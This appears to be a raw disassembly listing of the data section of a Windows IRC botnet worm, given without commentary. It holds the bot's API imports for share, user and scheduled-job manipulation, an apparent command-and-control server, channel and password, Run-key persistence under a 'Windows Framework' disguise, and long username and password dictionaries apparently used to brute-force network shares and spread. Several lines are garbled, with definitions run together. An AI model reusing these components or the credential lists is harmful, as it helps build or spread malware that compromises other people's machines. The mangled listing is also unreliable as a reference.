aSelect		db 'select',0           ; DATA XREF: sub_4014F8+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4014F8+63Eo
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4014F8+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4014F8+658o
		align 10h
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4014F8+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4014F8+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4014F8+67Fo
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4014F8+68Co
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4014F8+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4014F8+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4014F8:loc_401CD7o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014F8+7F0o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014F8+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014F8+805o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4014F8+812o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4014F8+81Fo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4014F8+82Co
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014F8+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014F8+846o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4014F8+853o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4014F8+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014F8+8D2o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4014F8:loc_401DF7o
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4014F8+90Co
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4014F8+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4014F8+921o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4014F8:loc_401E56o
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4014F8+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4014F8+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4014F8+984o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014F8+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4014F8+99Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4014F8+9ABo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4014F8+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4014F8+9C5o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4014F8+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4014F8+9DFo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014F8+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4014F8+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4014F8:loc_401F72o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014F8+A87o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014F8+A8Fo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4014F8:loc_401FBCo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4014F8+AD1o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014F8+AD9o
		align 4
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4014F8:loc_402006o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014F8+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014F8+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014F8+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014F8+B3Do
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4014F8:loc_40207Ao
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4014F8+B8Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4014F8+B97o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4014F8:loc_4020C4o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4014F8+BD9o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4014F8+BE1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4014F8+BEEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4014F8+BFBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4014F8+C08o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4014F8+C15o
		align 4
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+28o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+5Co
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+90o
		align 4
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+C4o
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+F8o
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40216A+12Co
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40216A+160o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+194o
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1C8o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1FCo
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+230o
		align 4
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+264o
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+298o
dword_43CA98	dd 35310302h, 25B302Ch,	91323003h, 1F343003h, 611F4D02h
					; DATA XREF: sub_40216A+2BEo
		dd 3026E69h, 32C3230h, 33A3531h, 44202032h, 4C024C02h
		dd 65027420h, 20747302h, 6F024302h, 6C02706Dh, 65746502h
		dd 2Eh
dword_43CAD8	dd 2Eh		dword_43CADC	dd 2Eh		dword_43CAE0	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 1F6C0246h
					; DATA XREF: sub_402533+8Co
		dd 2731F75h, 1F640248h,	3731F6Eh, 32C3230h, 33A3531h
a2ErrorGettingA	db '2 error getting ARP cache: %d',0
		align 4
dword_43CB28	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 1F6C0246h
					; DATA XREF: sub_402533:loc_4025C6o
		dd 2731F75h, 1F640248h,	3731F6Eh, 32C3230h, 33A3531h
a2UnableToAlloc	db '2 unable to allocate ARP cache',0
		align 10h
dword_43CB70	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 1F6C0246h
					; DATA XREF: sub_402533:loc_40258Co
		dd 2731F75h, 1F640248h,	3731F6Eh, 32C3230h, 33A3531h
a2ArpCacheIsEmp	db '2 ARP cache is empty',0
		align 10h
dword_43CBB0	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 1F6C0246h
					; DATA XREF: sub_402533:loc_4025F8o
		dd 2731F75h, 1F640248h,	3731F6Eh, 32C3230h, 33A3531h
a2NotSupportedB	db '2 not supported by this system',0
		align 4
dword_43CBF8	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 1F6C0246h
					; DATA XREF: sub_402533+43o
		dd 2731F75h, 1F640248h,	3731F6Eh, 32C3230h, 33A3531h
a2ErrorGettin_0	db '2 error getting ARP cache: %d',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_402617+46o
		db '«Ç',0
		align 10h
		db '«Ç',0
		align 4
dword_43CC54	dd 7E4h		dword_43CC58	dd 45h							; seg000:00409749r
dword_43CC5C	dd 7D1h							; seg000:loc_409AFFr
dword_43CC60	dd 201h				dd 763h
dword_43CC68	dd 1				dd 1
dword_43CC70	dd 1		byte_43CC74	db 78h			; DATA XREF: seg000:004036C8r
					; seg000:004038A8r ...
		align 4
dword_43CC78	dd 7							; sub_408654+5Fr ...
dword_43CC7C	dd 1							; seg000:00403299r ...
dword_43CC80	dd 1							; seg000:00403293r
aRbg78		db 'rbg78',0            ; DATA XREF: seg000:0040276Do
					; seg000:00406766o ...
		align 4
aVb400		db 'vb400',0
		align 4
aHi_0		db 'hi',0               ; DATA XREF: seg000:004084B3o
					; seg000:00408582o
		align 4
aFreee_najd_us	db 'freee.najd.us',0
		align 4
aMss2		db '#mss2',0            ; DATA XREF: sub_413351:loc_41336Bo
					; sub_413468:loc_413482o ...
		align 10h
aMss2pass	db 'mss2pass',0
		align 4
byte_43CCBC	db 46h			; DATA XREF: seg000:0040777Co
					; seg000:0040D28Ao ...
		db 72h,	61h, 6Dh
		dd 726F7765h, 652E646Bh, 6578h
dword_43CCCC	dd 6D617246h, 726F7765h, 732E646Bh, 7379haWindowsFramewo	db 'Windows Framework',0 ; DATA XREF: start+Eo
		align 10h
aC_4		db 'C-',0               ; DATA XREF: seg000:004086D2o
		align 4
aFrameworkd_dat	db 'Frameworkd.dat',0
		align 4
aXIr		db '-x+iR',0            ; DATA XREF: seg000:00408602o
		align 4
a143		db '#143',0             ; DATA XREF: seg000:loc_405C81o
					; seg000:004075E7o ...
		align 4
a143_0		db '#143#',0            ; DATA XREF: seg000:00404920o
		align 4
a143_1		db '##143',0
		align 4
off_43CD24	dd offset dword_43D064	; DATA XREF: seg000:loc_4084FDo
off_43CD28	dd offset aMircV6_10Khale ; DATA XREF: seg000:0040383Br
					; seg000:00408519o
					; "mIRC	v6.10 Khaled Mardam-Bey"
		dd offset aMircV6_12Khale ; "mIRC v6.12	Khaled Mardam-Bey"
		dd offset aMircV6_14Khale ; "mIRC v6.14	Khaled Mardam-Bey"
		dd offset aMircV6_16Khale ; "mIRC v6.16	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:00419842o
					; seg000:00419B66o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:004198EEo
					; seg000:00419C12o
		align 10h
off_43CDE0	dd offset aAdministrato_0 ; DATA XREF: sub_40E268+18Br
					; sub_40E268+193o
					; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
off_43CE30	dd offset dword_4DF340	; DATA XREF: sub_40E201r sub_40E201+Co
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_1	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_1	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault_0	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_5	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_4	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter_0	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob_0	; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin_1	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase_0	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2_0	; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle_0	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco_0	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aStaff_0	; "staff"
		align 10h
dword_43D060	dd 10h							; seg000:00403762r ...
dword_43D064	dd 376B402Ah, 656E2E6Fh, 74haMircV6_10Khale	db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_43CD28o
		align 10h
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD2Co
		align 10h
aMircV6_14Khale	db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD30o
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043CD34o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:off_43CDE0o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:0043CDE4o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:0043CDE8o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:0043CDECo
aAdmins		db 'admins',0           ; DATA XREF: seg002:0043CDF0o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: seg002:0043CDF4o
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:0043CDF8o
		align 4
aRoot		db 'root',0             ; DATA XREF: seg002:0043CDFCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:0043CE00o
		align 4
aOwner		db 'owner',0            ; DATA XREF: seg002:0043CE04o
		align 10h
aStudent	db 'student',0          ; DATA XREF: seg002:0043CE08o
aTeacher	db 'teacher',0          ; DATA XREF: seg002:0043CE0Co
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:0043CE10o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0043CE14o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:0043CE18o
aDatabase	db 'database',0         ; DATA XREF: seg002:0043CE1Co
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:0043CE20o
aOracle		db 'oracle',0           ; DATA XREF: seg002:0043CE24o
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg002:0043CE28o
aAdministrato_1	db 'administrator',0    ; DATA XREF: seg002:0043CE34o
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: seg002:0043CE38o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: seg002:0043CE3Co
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: seg002:0043CE40o
aAdmins_0	db 'admins',0           ; DATA XREF: seg002:0043CE44o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: seg002:0043CE48o
		align 4
aAdm		db 'adm',0              ; DATA XREF: seg002:0043CE4Co
aPassword1	db 'password1',0        ; DATA XREF: seg002:0043CE50o
		align 4
aPassword	db 'password',0         ; DATA XREF: seg002:0043CE54o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: seg002:0043CE58o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: seg002:0043CE5Co
		align 4
aPass_1		db 'pass',0             ; DATA XREF: seg002:0043CE60o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:0043CE64o
a007		db '007',0              ; DATA XREF: seg002:0043CE68o
a1:					; DATA XREF: seg002:0043CE6Co
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: seg002:0043CE70o
		align 4
a123		db '123',0              ; DATA XREF: seg002:0043CE74o
a1234		db '1234',0             ; DATA XREF: seg002:0043CE78o
		align 4
a12345		db '12345',0            ; DATA XREF: seg002:0043CE7Co
		align 10h
a123456		db '123456',0           ; DATA XREF: seg002:0043CE80o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg002:0043CE84o
a12345678	db '12345678',0         ; DATA XREF: seg002:0043CE88o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:0043CE8Co
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: seg002:0043CE90o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:0043CE94o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0043CE98o
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:0043CE9Co
		align 4
a2003_0		db '2003',0             ; DATA XREF: seg002:0043CEA0o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0043CEA4o
		align 4
aTest		db 'test',0             ; DATA XREF: seg002:0043CEA8o
		align 4
aGuest_1	db 'guest',0            ; DATA XREF: seg002:0043CEACo
		align 4
aNone		db 'none',0             ; DATA XREF: seg002:0043CEB0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: seg002:0043CEB4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:0043CEB8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:0043CEBCo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg002:0043CEC0o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: seg002:0043CEC4o
aSystem		db 'system',0           ; DATA XREF: seg002:0043CEC8o
		align 4
aServer_5	db 'server',0           ; DATA XREF: seg002:0043CECCo
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: seg002:0043CED0o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0043CED4o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0043CED8o
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:0043CEDCo
		align 10h
aOutlook	db 'outlook',0          ; DATA XREF: seg002:0043CEE0o
aWeb		db 'web',0              ; DATA XREF: seg002:0043CEE4o
aWww		db 'www',0              ; DATA XREF: seg002:0043CEE8o
aInternet	db 'internet',0         ; DATA XREF: seg002:0043CEECo
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: seg002:0043CEF0o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: seg002:0043CEF4o
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:0043CEF8o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: seg002:0043CEFCo
		align 4
aUser_4		db 'user',0             ; DATA XREF: seg002:0043CF00o
		align 10h
aOem		db 'oem',0              ; DATA XREF: seg002:0043CF04o
aOemuser	db 'oemuser',0          ; DATA XREF: seg002:0043CF08o
aOeminstall	db 'oeminstall',0       ; DATA XREF: seg002:0043CF0Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0043CF10o
aWin98		db 'win98',0            ; DATA XREF: seg002:0043CF14o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: seg002:0043CF18o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: seg002:0043CF1Co
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: seg002:0043CF20o
		align 10h
aWin2000	db 'win2000',0          ; DATA XREF: seg002:0043CF24o
aQaz		db 'qaz',0              ; DATA XREF: seg002:0043CF28o
aAsd		db 'asd',0              ; DATA XREF: seg002:0043CF2Co
aZxc		db 'zxc',0              ; DATA XREF: seg002:0043CF30o
aQwe		db 'qwe',0              ; DATA XREF: seg002:0043CF34o
aBob		db 'bob',0              ; DATA XREF: seg002:0043CF38o
aJen		db 'jen',0              ; DATA XREF: seg002:0043CF3Co
aJoe		db 'joe',0              ; DATA XREF: seg002:0043CF40o
aFred		db 'fred',0             ; DATA XREF: seg002:0043CF44o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:0043CF48o
		align 4
aMike		db 'mike',0             ; DATA XREF: seg002:0043CF4Co
		align 4
aJohn		db 'john',0             ; DATA XREF: seg002:0043CF50o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0043CF54o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:0043CF58o
		align 4
aSam		db 'sam',0              ; DATA XREF: seg002:0043CF5Co
aSue		db 'sue',0              ; DATA XREF: seg002:0043CF60o
aSusan		db 'susan',0            ; DATA XREF: seg002:0043CF64o
		align 4
aPeter_0	db 'peter',0            ; DATA XREF: seg002:0043CF68o
		align 4
aBrian		db 'brian',0            ; DATA XREF: seg002:0043CF6Co
		align 4
aLee		db 'lee',0              ; DATA XREF: seg002:0043CF70o
aNeil		db 'neil',0             ; DATA XREF: seg002:0043CF74o
		align 10h
aIan		db 'ian',0              ; DATA XREF: seg002:0043CF78o
aChris		db 'chris',0            ; DATA XREF: seg002:0043CF7Co
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:0043CF80o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:0043CF84o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg002:0043CF88o
		align 4
aBob_0		db 'bob',0              ; DATA XREF: seg002:0043CF8Co
aKatie		db 'katie',0            ; DATA XREF: seg002:0043CF90o
		align 10h
aMary		db 'mary',0             ; DATA XREF: seg002:0043CF94o
		align 4
aLogin_1	db 'login',0            ; DATA XREF: seg002:0043CF98o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: seg002:0043CF9Co
		align 4
aTechnical	db 'technical',0        ; DATA XREF: seg002:0043CFA0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: seg002:0043CFA4o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: seg002:0043CFA8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:0043CFACo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:0043CFB0o
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg002:0043CFB4o
		align 4
aSex		db 'sex',0              ; DATA XREF: seg002:0043CFB8o
aGod		db 'god',0              ; DATA XREF: seg002:0043CFBCo
aHell		db 'hell',0             ; DATA XREF: seg002:0043CFC0o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg002:0043CFC4o
		align 4
aDomain		db 'domain',0           ; DATA XREF: seg002:0043CFC8o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: seg002:0043CFCCo
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: seg002:0043CFD0o
		align 10h
aDatabase_0	db 'database',0         ; DATA XREF: seg002:0043CFD4o
		align 4
aAccess		db 'access',0           ; DATA XREF: seg002:0043CFD8o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: seg002:0043CFDCo
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: seg002:0043CFE0o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: seg002:0043CFE4o
		align 4
aData		db 'data',0             ; DATA XREF: seg002:0043CFE8o
		align 10h
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: seg002:0043CFECo
		align 4
aDb1		db 'db1',0              ; DATA XREF: seg002:0043CFF0o
aDb2_0		db 'db2',0              ; DATA XREF: seg002:0043CFF4o
aDb1234		db 'db1234',0           ; DATA XREF: seg002:0043CFF8o
		align 4
aSa		db 'sa',0               ; DATA XREF: seg002:0043CFFCo
		align 4
aSql		db 'sql',0              ; DATA XREF: seg002:0043D000o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: seg002:0043D004o
		align 10h
aOrainstall	db 'orainstall',0       ; DATA XREF: seg002:0043D008o
		align 4
aOracle_0	db 'oracle',0           ; DATA XREF: seg002:0043D00Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:0043D010o
aCisco_0	db 'cisco',0            ; DATA XREF: seg002:0043D014o
		align 10h
aDell		db 'dell',0             ; DATA XREF: seg002:0043D018o
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: seg002:0043D01Co
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: seg002:0043D020o
aHp		db 'hp',0               ; DATA XREF: seg002:0043D024o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: seg002:0043D028o
		align 4
aXp		db 'xp',0               ; DATA XREF: seg002:0043D02Co
		align 4
aControl	db 'control',0          ; DATA XREF: seg002:0043D030o
aOffice		db 'office',0           ; DATA XREF: seg002:0043D034o
		align 4
aBlank		db 'blank',0            ; DATA XREF: seg002:0043D038o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: seg002:0043D03Co
aMain		db 'main',0             ; DATA XREF: seg002:0043D040o
		align 10h
aLan		db 'lan',0              ; DATA XREF: seg002:0043D044o
aInternet_0	db 'internet',0         ; DATA XREF: seg002:0043D048o
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: seg002:0043D04Co
		align 4
aStudent_0	db 'student',0          ; DATA XREF: seg002:0043D050o
aTeacher_0	db 'teacher',0          ; DATA XREF: seg002:0043D054o
aStaff_0	db 'staff',0            ; DATA XREF: seg002:0043D058o
		align 4
aSS_7		db '%s%s',0
		align 4
aSS_8		db '%s\%s',0
		align 4
aSDS_0		db '%s %d "%s"',0
		align 10h
